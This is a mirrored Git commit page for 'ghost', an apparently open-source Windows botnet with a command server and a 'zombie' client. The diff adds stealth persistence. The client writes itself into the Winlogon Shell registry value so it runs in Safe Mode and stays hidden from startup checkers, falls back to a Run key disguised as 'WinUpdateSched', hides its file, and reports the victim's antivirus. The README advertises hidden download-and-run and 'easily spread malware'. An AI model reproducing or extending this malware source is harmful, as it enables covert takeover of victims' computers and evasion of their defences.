GithubStar/ghost
1
0
Fork 0
mirror of https://github.com/AHXR/ghost.git synced 2026-10-17 05:11:32 +08:00
Code Issues Packages Projects Releases Wiki Activity

1.0.3b

Browse Source 
- Refresh crashing fixed
- Zombie's version of ghost now shown
- Now starts up in Safe Mode. (Administrator Privileges Required)
- Hidden from startup checkers such as CCleaner and msconfig
(Administrator Privileges Required)
This commit is contained in:
a
2017-12-17 19:39:53 -05:00
parent 85579a2173
commit daa825de83
4 changed files with 99 additions and 53 deletions
Download Patch File Download Diff File Expand all files Collapse all files
CHANGELOG.md
+8 -1
View File
@@ -1,4 +1,11 @@
1.0.3 (12/17/2017)
1.0.3b (12/17/2017)
- Refresh crashing fixed
- Zombie's version of ghost now shown
- Now starts up in Safe Mode. (Administrator Privileges Required)
- Hidden from startup checkers such as CCleaner and msconfig (Administrator Privileges Required)
1.0.3a (12/17/2017)
- Fixed zombie not responding to commands
- IRC is now encrypted (substitution cipher)
README.md
+13
View File
@@ -17,6 +17,19 @@ is provided, the program doesn't run. With that being said, make sure you provid
zombie.exe 127.0.0.1 27015
```
### Bot Features
- Remote command execution
- Silent background process
- Download and run file (Hidden)
- Safe Mode startup
- Will automatically connect to the server
- Data sent and received is encrypted (substitution cipher)
- Files are hidden
- Installed Antivirus shown to server
- Easily spread malware through download feature
- Startup info doesn't show in msconfig or other startup checking programs like CCleaner
When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage.
This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.
_src/server/server.cpp
+33 -40
View File
@@ -53,8 +53,9 @@ DWORD WINAPI t_gui(LPVOID params);
DWORD WINAPI t_window(LPVOID params);
void onServerClientConnect(SOCKET clientSocket, CLIENTDATA info);
void refreshClients();
void getAntivirus();
void onServerRecData(SOCKET clientSocket, CLIENTDATA info, char * data);
vector<std::string> split(const std::string &s, char delim);
vector<string> split(const string &s, char delim);
string real_ip();
char * c_ascii;
@@ -72,7 +73,7 @@ AHXRSERVER a_server;
#pragma comment (lib, "Wininet.lib")
#pragma comment (lib, "user32.lib")
void getAntivirus();
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pScmdline, int iCmdshow)
{
@@ -85,43 +86,6 @@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pScmdline,
return 0;
}
void refreshClients() {
ghostlib::_clientData client_data;
int i_res;
for (int i = 0; i < ghostlib::getZombieCount(); i++) {
client_data = ghostlib::getZombieData(i);
if (client_data.socketRef == INVALID_SOCKET) {
ghostlib::deleteZombie(i);
continue;
}
/*char buf;
int err = recv(client_data.socketRef, &buf, 1, MSG_PEEK | MSG_DONTWAIT);
if (err == SOCKET_ERROR)
if (WSAGetLastError() != WSAEWOULDBLOCK)
ghostlib::deleteZombie(i);
*/
i_res = send(client_data.socketRef, "ghost_ping", 10, 0 ); // Testing if socket is active. Will never respond.
if (i_res == SOCKET_ERROR)
ghostlib::deleteZombie(i);
}
}
DWORD WINAPI t_window(LPVOID params) {
System::Windows::Forms::Application::EnableVisualStyles();
System::Windows::Forms::Application::SetCompatibleTextRenderingDefault(false);
server::gui frm;
System::Windows::Forms::Application::Run(%frm);
b_gui_active = false;
return 0;
}
DWORD WINAPI t_gui(LPVOID params) {
HRSRC hr_res;
DWORD32 dw_res;
@@ -228,7 +192,7 @@ DWORD WINAPI t_gui(LPVOID params) {
SHOW_GHOST();
LOG("----------------------------------");
LOG("[COLOR:YELLOW]You have selected \"%s\" (%s:%s)", j_data["ID"].get<std::string>().c_str(), j_data["IP"].get<std::string>().c_str(), j_data["PORT"].get<std::string>().c_str());
LOG("[COLOR:YELLOW]You have selected \"%s\" (%s:%s) [V%s]", j_data["ID"].get<std::string>().c_str(), j_data["IP"].get<std::string>().c_str(), j_data["PORT"].get<std::string>().c_str(), j_data["VERSION"].get<std::string>().c_str());
LOG("[COLOR:CYAN][Username]: %s", j_data["USER"].get<std::string>().c_str());
LOG("[COLOR:LIGHTGREEN][Operating System]: %s", j_data["OS"].get<std::string>().c_str());
LOG("[COLOR:RED][Antivirus]: %s", j_data["AV"].get<std::string>().c_str());
@@ -456,6 +420,35 @@ void onServerRecData(SOCKET clientSocket, CLIENTDATA info, char * data) {
}
}
void refreshClients() {
ghostlib::_clientData client_data;
int i_res;
for (int i = 0; i < ghostlib::getZombieCount(); i++) {
client_data = ghostlib::getZombieData(i);
if (client_data.socketRef == INVALID_SOCKET) {
ghostlib::deleteZombie(i);
continue;
}
i_res = send(client_data.socketRef, encryptCMD(string("ghost_ping")).c_str(), 10, 0); // Testing if socket is active. Will never respond.
if (i_res == SOCKET_ERROR)
ghostlib::deleteZombie(i);
}
}
DWORD WINAPI t_window(LPVOID params) {
System::Windows::Forms::Application::EnableVisualStyles();
System::Windows::Forms::Application::SetCompatibleTextRenderingDefault(false);
server::gui frm;
System::Windows::Forms::Application::Run(%frm);
b_gui_active = false;
return 0;
}
template<typename Out>
void split(const std::string &s, char delim, Out result) {
std::stringstream ss(s);
_src/zombie/zombie.cpp
+45 -12
View File
@@ -20,15 +20,20 @@
along with ghost. If not, see <http://www.gnu.org/licenses/>.
*/
//=======================================================
#define AHXRLOGGER_PLUGIN // https://github.com/AHXR/ahxrlogger
#define GHOSTVER "1.0.3b"
#define AHXRLOGGER_PLUGIN // https://github.com/AHXR/ahxrlogger
#define DEFAULT_BUFF 19056
#define TMPLOG "svchost.log"
#define KEY_TARGET HKEY_LOCAL_MACHINE
//#define GHOST_HIDE /* DEBUG */
// 64-bit automatically redirected to "HKLM\SOFTWARE\Wow6432Node"
#define KEY_TARGET HKEY_LOCAL_MACHINE
#define KEY_NON_ADMIN_TARGET HKEY_CURRENT_USER
#define KEY_STARTUP "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
#define KEY_NON_ADMIN_STARTUP "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define KEY_ROOT_STARTUP "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"
#define KEY_VALUE_NAME "WinUpdateSched"
//#define GHOST_HIDE /* DEBUG */
#define KEY_SHELL_NAME "Shell"
#include "ahxrwinsock.h"
#include "resource.h"
@@ -42,7 +47,6 @@
#include <string>
#include <Lmcons.h>
using namespace std;
using namespace System::Runtime::InteropServices;
using json = nlohmann::json;
@@ -54,6 +58,7 @@ TCHAR str_windows[MAX_PATH];
char c_temp_cmd[ MAX_PATH + 20 ];
char c_cmd_dir[MAX_PATH + 7];
bool b_cmd;
bool b_admin_access;
AHXRCLIENT client;
void onClientConnect();
@@ -124,24 +129,51 @@ void main(cli::array<System::String^>^ args)
remove(c_temp_cmd); // Remove previous instance.
// Adding to start-up.
/*
Attempting to add to the Shell start-up. This is so that the zombie runs in safemode as well.
This will also hide this application from CCleaner or any other application that scans for start-up
programs.
*/
HKEY h_key;
long l_key;
bool b_good;
l_key = RegOpenKeyEx(KEY_TARGET, KEY_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
// No admin access. Just make it user startup.
if (l_key == ERROR_ACCESS_DENIED)
l_key = RegOpenKeyEx(KEY_NON_ADMIN_TARGET, KEY_NON_ADMIN_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
l_key = RegOpenKeyEx(KEY_TARGET, KEY_ROOT_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
if (l_key == ERROR_SUCCESS) {
char * full_path = new char[MAX_PATH + 50];
sprintf(full_path, "\"%s\" %s %s", c_path, str_host, str_port);
sprintf(full_path, "explorer.exe,\"%s %s %s\"", c_path, str_host, str_port);
long l_set_key = RegSetValueEx(h_key, KEY_SHELL_NAME, 0, REG_SZ, (LPBYTE)full_path, MAX_PATH);
fstream ftest("regtest.txt", ios::out);
ftest << KEY_ROOT_STARTUP << endl << KEY_SHELL_NAME << endl << full_path;
ftest.close();
if (l_set_key == ERROR_SUCCESS)
b_good = true;
RegSetValueEx(h_key, KEY_VALUE_NAME, 0, REG_SZ, (LPBYTE)full_path, MAX_PATH);
RegCloseKey(h_key);
}
if (!b_good) {
// Adding to start-up since we couldn't use the Shell start-up.
l_key = RegOpenKeyEx(KEY_TARGET, KEY_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
// No admin access. Just make it user startup.
if (l_key == ERROR_ACCESS_DENIED) {
l_key = RegOpenKeyEx(KEY_NON_ADMIN_TARGET, KEY_NON_ADMIN_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
b_admin_access = true;
}
if (l_key == ERROR_SUCCESS) {
char * full_path = new char[MAX_PATH + 50];
sprintf(full_path, "\"%s\" %s %s", c_path, str_host, str_port);
RegSetValueEx(h_key, KEY_VALUE_NAME, 0, REG_SZ, (LPBYTE)full_path, MAX_PATH);
RegCloseKey(h_key);
}
}
SetFileAttributes((char *)c_path, FILE_ATTRIBUTE_HIDDEN);
#else
GetTempPath(MAX_PATH, str_temp); // Temp path for returning cmd response.
@@ -198,6 +230,7 @@ void onClientConnect() {
sys_data["IP"] = real_ip();
sys_data["PORT"] = str_port;
sys_data["AV"] = getAntivirus();
sys_data["VERSION"] = GHOSTVER;
OSVERSIONINFO vi;
vi.dwOSVersionInfoSize = sizeof(vi);